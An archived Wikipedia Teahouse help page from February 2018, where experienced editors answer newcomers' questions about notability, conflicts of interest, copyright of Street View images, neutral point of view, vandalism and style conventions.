Recently, for a few weeks, while using Wikipedia, when I scrolled over a page link, a preview of that page would pop up. I liked the feature, but it seems to have been removed. Can anyone help me understand what happened and how to activate that feature again? KevinBumgardner (talk) 16:59, 7 February 2018 (UTC)[reply]

You've asked at the WP:Help Desk. Please don't ask the same question in multiple places, as this wastes the time of editors answering a question which has already been answered. --David Biddulph (talk) 17:02, 7 February 2018 (UTC)[reply]

disagreement with an editor

I have a disagreement with an editor on an article submission I've created - we went back and forth a bit with no resolution and am not sure what steps to take next. Philacevedo (talk) 20:03, 7 February 2018 (UTC)[reply]

You didn't tell us which submission, but if it's User:Philacevedo/sandbox it looks like an advertisement to me. I'm glad to see that you have declared your conflict of interest. It is the difficulty for such editors in maintaining a neutral point of view and avoiding promotion that leads to the recommendation that you wait until someone unconnected with the subject considers it notable and writes an unbiased article. --David Biddulph (talk) 20:13, 7 February 2018 (UTC)[reply]
Hello, Philacevedo. The answer to your specific question is detailed in Dispute resolution. But I advise you to take David Biddulph's reply very seriously. --22:31, 8 February 2018 (UTC)[reply]

Highlighting article as possibly needing improvements

Hi - I'm looking at an article that seems pretty flawed to me. There's one edit I can submit now, but in general the article seems like it could use an overhaul. Is there a way to sort of flag this that might draw attention from other editors?

Also I'm pretty sure I've seen articles as a reader that were flagged as needing work in some way, but don't remember details. If there is a flag for editors, I'm curious about whether that shows up on the reader side too -

Legbracesarecool (talk) 21:03, 7 February 2018 (UTC)[reply]

A range of templates can be found through WP:Template messages. --David Biddulph (talk) 21:07, 7 February 2018 (UTC)[reply]

how do i put a drama school on?

my drama school is not on wikipedia even though it has existed since the late 1980s. How do i put it on if i can't find any relevant articles and only find the website when i google it? RupertHolloway (talk) 21:15, 7 February 2018 (UTC)[reply]

You need to look at Wikipedia's definition of notability, look for detailed coverage in published reliable sources independent of the subject, and then read the advice at WP:Your first article. --David Biddulph (talk) 21:19, 7 February 2018 (UTC)[reply]
Unfortunately that means your drama school fails notability requirements, and thus any article created about it will not survive. Google isn't the only indicator of notability, however. If you can find articles in newspapers, that works as well. It doesn't have to be electronic. -A lad insane (Channel 2) 21:23, 7 February 2018 (UTC)[reply]

question

I found this article when stumbling across Wikipedia. My Little Marquise it was just created when i saw it. It barely cites /no references at all. is it notable? If you come across the article later on and it has reliable references please disregard this message Thegooduser talk 00:48, 8 February 2018 (UTC)[reply]

@Thegooduser: See WP:NFILM for film notability guidelines. This one may fall under one of the critera there, but it is not easy to tell from the info in the stub. RudolfRed (talk) 02:04, 8 February 2018 (UTC)[reply]

Feeling Thankful

Thank you so much. Actually, i do not want to do any illegal activities. But as i'm not an experienced editor yet, it is happening unfortunatly to me !. But as you, the leading personalities , helping me with their heart, i'm very thankful to them. Thank you. Wikipedia has a lot of rules , and i need some time to make out them all. I was previously blocked once for 7 days ,as i was unaware . Please help me in future like this by providing informations. Love form heart. Have a nice day. — Preceding unsigned comment added by Abir-lal (talk • contribs) 01:44, 8 February 2018 (UTC)[reply]

Hello Abir-lal and welcome to the Teahouse.
Yes there are a lot of rules. You've already mastered some of them, it appears, so you should make edits that you are confident fall within the rules that you know. As you gain more experience, you'll begin to see additional ways to help build the encyclopedia. One place to pick up tasks that fit your current level of expertise is the community portal. You can also learn quite a bit by looking at the contributions of an experienced editor - all of their contributions can be seen by starting on their user page or user talk page and clicking on the "User contributions" button in the toolbar. If you have questions, ask them!
I hope you find editing here to be a rewarding and engaging activity. — jmcgnh(talk) (contribs) 05:59, 8 February 2018 (UTC)[reply]

how do i thank unregistered IPs

hey, how do I thank unregistered IPs for their contributions? I thank everyone else, besides the bots who I have created their own separate WikiLove templates for.-🐦Do☭torWho42 (⭐) 02:07, 8 February 2018 (UTC)[reply]

@DoctorWho42: You can leave a note on that user's talk page. The "Thanks" tool only works for non-bot registered users. RudolfRed (talk) 02:20, 8 February 2018 (UTC)[reply]

Is using Google Street View Images allowed?

Is taking a part of a Google Street view image from Google Maps and uploading it to Wikipedia allowed? I know Google street view is copyrighted, but it does show public places, homes, scenic areas, etc. across the worlds and is among, if not the best option in viewing something from the street virtually. Is there any ways to use the images legally or does the copyright protect it even against uploading an image on Wikipedia to show what a place looks like? After asking this question, I found this page from Google: https://www.google.com/permissions/geoguidelines/attr-guide.html The page makes it sound like you may use the images with proper attribution. If the images are uploaded with proper atrribution, would using the copyrighted images be ok to upload and use on Wikipedia then? Greshthegreat (talk) 02:57, 8 February 2018 (UTC)[reply]

Google's rules are somewhat vague, but I would highly doubt it. According to the Street View specific guidelines on that page, it seems that attribution is just one of their requirements. It states that if we're going to use it in a web application (which I'm assuming they would consider Wikipedia), it would have to be embedded into the page using their own magic HTML/JS application. As far as I know, this can't be done on Wikipedia right now. It also makes reference to fair use/fair dealing laws, which Wikipedia has a very narrow allowance for.
Checking this image on the Google Street View page, the understanding is that it's used under the fair use guideline specifically to demonstrate Street View. I can't see how that could be applied to a Street View image demonstrating something else. Cryptic Canadian 04:25, 8 February 2018 (UTC)[reply]
I agree. My view is thay in no way would uploading a Google Street View image to illustrate an article be acceptable. It would not be fair use. The best way for Greshthegreat to utilise it is would simply be to add a hyperlink to the relevant view within an "External links" section. (I've personally found Google and their suppliers very amenable in granting one-off permission for aerial images use in printed information leaflets, but I can't see them ever doing this for use across Wikipedia.) Regards from the UK, Nick Moyes (talk) 09:23, 8 February 2018 (UTC)[reply]

New page about John Etchells, a famous record producer and engineer but...

Reviewer Matthew Vanitas declined my new page, even though, John Etchells produced George Harrison, Queen, Dire Straits, the members of Pink Floyd, and many more notable artists in rock history. I personally was produced by him in 1982 with my band Spectre, which released an album and a single that he produced in Orlando at Bee Jay Recording Studios.

He is now semi-retired, and I think it's time that his contributions to music are recognized in this way. Thank you. Greg Vadimsky 2600:1700:F360:D040:45DA:EA04:B6EC:95A3 (talk) 03:04, 8 February 2018 (UTC)[reply]

Hello anonymous and welcome to the Teahouse.
I understand your sentiments, but for a Wikipedia article to exist, there must be sources. If Etchells has been written about by independent reporters, publishing in suitable reliable sources, then there can be an article about him, based on those sources. Music producers are often unsung heroes in the music business, so finding suitable press coverage of them can be quite challenging. — jmcgnh(talk) (contribs) 06:04, 8 February 2018 (UTC)[reply]
I did a Google search for coverage of Etchells and the best thing that I could find was a trivial passing mention by Brian May in this article in The Independent. I do not doubt his involvement with recording and producing popular music but I was surprised that my Google Books search yielded no coverage of him at all. I fear that he is not notable, as Wikipedia defines that term. He is no George Martin. Cullen328 Let's discuss it 06:15, 8 February 2018 (UTC)[reply]
2600:1700:F360:D040:45DA:EA04:B6EC:95A3 Cullen328: if you search his name on GoogleBooks along with specific bands, like "John Etchells" queen I do find a number of passing mentions of him, but just not anything substantive enough to base an article on. MatthewVanitas (talk) 22:11, 8 February 2018 (UTC)[reply]
It is unfortunately quite a common mistake to think that Wikipedia is an appropriate place to give recognition to people or institutions: it is not. Until something or somebody has already achieved a level of recognition, in that several people unconnected with the subject have chosen to write in depth about it, Wikipedia will not be interested. --ColinFine (talk) 22:38, 8 February 2018 (UTC)[reply]

question

i found this sentence in the article crystal mall british columbia. "Also of note is within a section of a hallway on the first level consist of a so called "computer lane" which sells mainly computers and electronics parts." is this sentence a neutral point of view? Thegooduser talk 03:14, 8 February 2018 (UTC)[reply]

Hi, Thegooduser. Phrases like "of note" are editorializing and should be avoided to maintain a neutral point of view. Thanks for noticing. Even better, if you can find a source like a news article like that talks about this "computer lane," add it! Anon126 (notify me of responses! / talk / contribs) 05:06, 8 February 2018 (UTC)[reply]
Hi Thegooduser the specific guideline about this type of editorial issue is at WP:NOTETHAT. -- Roger (Dodger67) (talk) 10:37, 8 February 2018 (UTC)[reply]

How to credit myself as an actor in the Wikipedia?

Dear Team,

I would like to create a wikipedia article for myself as an actor and i am not really sure how to do this.

Kind Regards, YaniYani Xander (talk) 04:17, 8 February 2018 (UTC)[reply]

Before you do, please read this, this and this. Creating articles about yourself is something you have to be careful about around here as it's generally frowned upon. Cryptic Canadian 04:30, 8 February 2018 (UTC)[reply]
Also the specific advice against autobiography. --David Biddulph (talk) 09:09, 8 February 2018 (UTC)[reply]
@Yanixander: Based on your user page, I would say that you are a very long way from meriting a Wikipedia article. If your goal in wanting an article here is to simply tell the world about yourself or promote your career, you should do so on social media. Wikipedia is not social media. To merit an article on Wikipedia, you would need to have independent reliable sources that indicate how you meet the notability guidelines for actors. In writing such an article, you would need to forget everything you know about yourself and write only based on what the independent sources state about you. That is usually hard for people to do about themselves. If you do end up meriting an article in the future, it would be best if you simply let independent editors write it.331dot (talk) 11:25, 8 February 2018 (UTC)[reply]
I would further add that having a Wikipedia article about yourself is not necessarily a good thing. You cannot lock it to the text that you might prefer, prevent others from editing it, or keep out information you don't want there(unless it is defamatory). As long as something appears in an independent reliable source, it can be in a Wikipedia article, be it good or bad. 331dot (talk) 11:27, 8 February 2018 (UTC)[reply]

Vandalism on Rebecca Solnit?

Labeling the neologism "mansplaining" as sexist seems like introducing opinion

Just came to read about Rebecca Solnit and stumbled over the word "sexist." I checked out the history and it's a very fresh edit. Seems questionable to me, and I see it has happened before and was called vandalism. I too would consider it vandalism. Is it appropriate to undo?

Aatist (talk) 04:18, 8 February 2018 (UTC)[reply]

Hi, Aatist. I believe it is inappropriate because it doesn't adhere to a neutral point of view, so feel free to revert it. But I wouldn't go so far as to call it vandalism. Vandalism is a deliberate effort to undermine Wikipedia as an encyclopedia, which is only one type of inappropriate editing. My guess is that the editor felt that the term was accurate and worth including. Anon126 (notify me of responses! / talk / contribs) 04:59, 8 February 2018 (UTC)[reply]
Hi, Anon126.
While now reverted, it needs to be seen as part of a larger pattern of unregistered users targeting this writer with mysogynistic edits.
On January 11, User 50.101.83.131 added "with her feminist panties in a bunch."
On [28, 2017], user 122.56.85.61 changed Solnit's name to "Fat Bumbum."
In October, 2016, users Bootsmedia and Wiki-overseer (now blocked) made multiple inappropriate edits. Aatist (talk) 14:30, 8 February 2018 (UTC)
Aatist (talk) 14:06, 8 February 2018 (UTC)[reply]
Aatist, it's true that users have made inappropriate edits in the past. But a key difference between vandalism and other inappropriate editing is that if someone continues adding the same material, you shouldn't fight back by continually removing it unless the case is clear-cut. Such fighting is known as edit warring and is also not allowed. Instead of edit warring, you should open up a discussion on the talk page and invite them to present sources or other reasoning. This isn't to say that they're right, just that there are different ways to handle the situation. Anon126 (notify me of responses! / talk / contribs) 20:53, 8 February 2018 (UTC)[reply]

?

Hello,

I would like to raise a concern that many of your pages that include scientific information also include evolution as fact. Whilst this may be the general "faith" of people on this platform, there is NO real proof of evolution. And as I see it evolution is just as much a belief as any other religion. It is upsetting to me and I am sure others that you never publish alternative views to evolution such as different religious views? Is there a reason?82.69.21.15 (talk) 08:56, 8 February 2018 (UTC)[reply]

Hello anon. Content on Wikipedia follows that published in reliable sources, such as scientific journals and scholarly books, the overwhelming majority of which present a strong scientific consensus that evolution by natural selection is the single most important driving factor in the diversity of life on Earth. If you would like to change the way Wikipedia covers this topic, then you will first have to change the scientific consensus, which Wikipedia follows. GMGtalk 09:06, 8 February 2018 (UTC)[reply]
Please also be aware that you are not permitted to edit articles by introducing your own personal unsubstantiated opinions, as you did with this fundamentally damaging edit to Chalk. ALL edits that purport to be factual require a citation to a Reliable Source to substantiate them, and  to allow others to judge whether the edit is valid. Finally, you asked: "...you never publish alternative views to evolution such as different religious views? Is there a reason?" We can do better than that - we can demonstrate to you that we do. See here. Regards from the UK, Nick Moyes (talk) 10:12, 8 February 2018 (UTC)[reply]
And just to add, we in fact do have extensive coverage of creationism and religious perspectives on evolution, see Portal:Creationism. – Joe (talk) 11:44, 8 February 2018 (UTC)[reply]

Thank you for your reply, Firstly I would wish to point out that I said why do your (scientific pages) not religious pages only hold evolution as the primary (accepted view) and not refer to other views. And secondly the bible which has been around longer than Darwin is not "reliable"? One man who states that animals can miraculously change from one species to another is to be believed. Evolution is so called science but if you cannot prove how a species changes from one to another then is it not a faith "to believe what is not seen"? Extensive the coverage may be but it is not on any of your scientific pages! — Preceding unsigned comment added by 82.69.21.15 (talk) 17:50, 8 February 2018 (UTC)[reply]

The article on evolution only discusses evolution because that's what it is supposed to do. It includes links to the articles Creation–evolution controversy and Objections to evolution for readers interested in other points of view. The article only presents what independent reliable sources publish. The same is true of creationism. 331dot (talk) 18:03, 8 February 2018 (UTC)[reply]

Need help in completing an article

Hi Editors, I need help in completing my Articles Draft:D Shivakumar. please advice. https://www.amazon.in/REFLECTIONS-Thoughts-future-leadership-business/dp/8193225627/ref=sr_1_3?ie=UTF8&qid=1518080878&sr=8-3&keywords=Shivakumar+D Karthikbv402 (talk) 09:14, 8 February 2018 (UTC)[reply]

Advice on getting article approved

Dear all,

This is my first time trying to submit to Wikipedia and I spent so much time trying to get it right, but obviously I didn't do well enough as I got the following message!

This submission is not adequately supported by reliable sources.

Here is the draft article: https://en.wikipedia.org/wiki/Draft:Salvatori

I'd appreciate any input as to what could have let the sources down. I thought they were pretty extensive.

Many thanks OT OliveTree (talk) 09:40, 8 February 2018 (UTC)[reply]

Hi, I'm quite new to Wikipedia editing too but I've had a quick look at your draft article and in my humble opinion I would guess that maybe it contravenes the fair and unbiased policy for articles/references. It comes across as a Salvatori advertisement and some of the references are blatantly promotional material containing price lists. This is only my opinion, I hope other people can throw more light on it.Rodney Baggins (talk) 11:08, 8 February 2018 (UTC)[reply]

(edit conflict) OliveTree: to establish that the subject is notable, you need to cite reliable independent sources with in-depth discussion of the subject. The sources you have cited in Draft:Salvatori may be "extensive", but as far as I can tell, they contribute nothing to that. I've looked at the first eight:
  1. (is having a bad day today, and returns a "server error".)
  2. is based on an interview with Sr. Salvatori, and so not independent.
  3. is a directory entry
  4. is the company's own web site, and so not independent.
  5. has a mere mention of the subject
  6. has a mere mention of the subject
  7. provides just two words about the subject
  8. has exactly the same text as 7.
Maproom (talk) 11:11, 8 February 2018 (UTC)[reply]
— and Rodney Baggins is right, the draft looks more like an advertising brochure than an encyclopedia article. That would be fairly easy to correct, by deleting all the promotional wording, the lists of products, and the list of non-notable awards. But if you can't establish that the subject is notable, the article will never be accepted, and other work on it will be wasted. Maproom (talk) 11:19, 8 February 2018 (UTC)[reply]
This article is the only thing you have ever worked on. Are you in any way connected to Salvatori? Being paid or receiving other benefits from Salvatori (a free floor?)? If so, you need to declare COI and PAID. David notMD (talk) 12:49, 8 February 2018 (UTC)[reply]

Language preference for new Wiki pages

Hi, I was just wondering which language you recommend using on Wiki pages. I have seen some pages written in UK English (e.g. behaviour, analyse) and some written in US English (e.g. behavior, analyze). Does it depend entirely on the nationality of the page creator? Rodney Baggins (talk) 11:14, 8 February 2018 (UTC)[reply]

@Rodney Baggins: Hello and welcome to the Teahouse. Guidelines in this area are at WP:ENGVAR. Wikipedia does not prefer any particular national variety of English. In general, I think that the version of English used depends on the nationality of the article subject(i.e. an article about something from the UK would be in British English). If the subject crosses national lines, then just use whatever variety of English you use, while perhaps working to use words common to all versions as much as possible. Some suggestions in that area are on the page I linked to. 331dot (talk) 11:19, 8 February 2018 (UTC)[reply]

Thanks for that information, it makes sense to stick to the language appropriate for the article as long as it's consistent throughout the article. Along similar lines, what's the rule on date formatting? Should that also be UK or US depending on the article? E.g."8 February 2018" and "February 8, 2018" respectively. Or does Wikipedia prefer to stick to a single date format throughout? I notice that |df=yes| gives you the UK version and |mf=yes| gives the US version when used in the birth_date and death_date parameters.Rodney Baggins (talk) 16:03, 8 February 2018 (UTC)[reply]

You'll find advice at MOS:DATE. --David Biddulph (talk) 16:10, 8 February 2018 (UTC)[reply]

Proposed acquisition of 21st Century Fox by Disney

Someone has been adding Nickelodeon and Comedy Central back into Proposed acquisition of 21st Century Fox by Disney. I added the note on talk page saying that Nickelodeon and Comedy Central is not allowed in the list. Why it keep added? 2A02:C7F:9659:4500:BCEC:EA7B:AA5F:E37D (talk) 17:39, 8 February 2018 (UTC)[reply]

No one agreed with you. Also, the information is sourced. 191.205.41.210 (talk) 17:41, 8 February 2018 (UTC)[reply]
It removed and then this IP user adding Nickelodeon and Comedy Central back into the list. 2A02:C7F:9659:4500:BCEC:EA7B:AA5F:E37D (talk) 19:11, 8 February 2018 (UTC)[reply]

What is wrong with my Article ? Tree_ofLife_(video_game)

Hello ! I'm really a newbie in wikipedia, i'm actually working as a community manager and got asked to work on our game's wikipedia : https://en.wikipedia.org/wiki/Draft:Tree_of_Life_(video_game) I've been waiting for my article to get reviewed but it got declined. Could you help me make the article get verified ? I'm not sure what is wrong in my article, could you help me ?

5.48.175.202 (talk) 18:15, 8 February 2018 (UTC)[reply]

Hello and welcome to the Teahouse. First, the game does not have "a Wikipedia", it has a Wikipedia draft article. The draft is essentially a promotional piece for the game. It does not have independent reliable sources (WP:RS) that indicate how it is notable (WP:N). Also, you have a conflict of interest, please read WP:COI and WP:PAID as soon as possible. 331dot (talk) 18:21, 8 February 2018 (UTC)[reply]
331dot: while I agree with you about the wording, when being picky I prefer to point out that nobody and nothing in the world "has" a Wikipedia article: Wikipedia has an article (or in this case, a draft) about a thing. --ColinFine (talk) 22:48, 8 February 2018 (UTC)[reply]
ColinFine You are absolutely correct, usually I catch myself doing that but did not this time. Thank you 331dot (talk) 22:51, 8 February 2018 (UTC)[reply]

Help getting a page created

Hello! What is the best way to get a page created? I would like an unbiased third party editor to assist with page creation. I have submitted the page for creation under "Requested Articles" but am unsure on the best next steps.

BritnyDPR (talk) 19:01, 8 February 2018 (UTC)[reply]

@BritnyDPR: Hello and welcome to the Teahouse. Since you are asking for an "unbiased third party editor" I take that to mean that you are associated with the subject that you want to see an article created about(which seems to be "ClusterTruck Food Delivery"). That is what Wikipedia calls a conflict of interest(please read that link). If you work for the subject, you will need to read and comply with the paid editing policy; this is required by Wikipedia's Terms of Use if you are paid to edit.
If you are associated with this company, you are wise to have first posted at Requested Articles. It is, however, severely backlogged, and it may be some time before someone writes an article(Wikipedia users are largely volunteers). That is actually probably the best, less biased way to proceed(wait for someone to create it). However, it is possible for someone in your position to submit a draft for review by an independent editor, which (if accepted) can be made into an article. This can be done at Articles for Creation.
I would provide some words of caution in doing that, however. To successfully write a draft, you will need independent reliable sources that have in depth coverage of your company that indicate how it meets the notability guidelines for companies. If you have that, then you will need to forget everything you know about your company and only write based on what the independent sources state. You cannot rely on press releases, the company website, transcripts of interviews with staff, or any other primary source. Only on what independent third parties write.(with some exceptions for indisputable factual information like staff numbers, location, etc) That is usually difficult for people with a COI to do- but it is possible. If your goal is to see a neutral encyclopedic article created, you can certainly use Articles for Creation. However, if your goal is just to tell the world about your company, that should be done in another forum like social media.
I would also suggest you read the page WP:PROUD; a Wikipedia article existing about your company is not necessarily a good thing. You cannot lock it to the text you or your company might prefer, prevent others from editing it, or keep negative information off the page; as long as something appears in an independent reliable source, it can be in a Wikipedia article, good or bad. 331dot (talk) 19:13, 8 February 2018 (UTC)[reply]
Thank you for the information! Yes, I am trying to avoid the Conflict of Interest by having the page created. I appreciate knowing that I could also create a drafted article using reliable sources.

Thanks! BritnyDPR (talk) 19:21, 8 February 2018 (UTC)[reply]

@BritnyDPR: If you do, please remember to first read WP:COI and WP:PAID and make the appropriate declarations. 331dot (talk) 19:25, 8 February 2018 (UTC)[reply]

how to engage an editor who disagrees

So someone undoes my edit with a comment that I think points to a miscommunication between us. I figure this is something to discuss on the article talk page, yeah? But then can I mention the editor in my comment on the talk page in a way that notifies them, or do I post something on their user talk page, or - Legbracesarecool (talk) 23:23, 8 February 2018 (UTC)[reply]

Retrieved from "https://en.wikipedia.org/w/index.php?title=Wikipedia:Teahouse&oldid=824700915"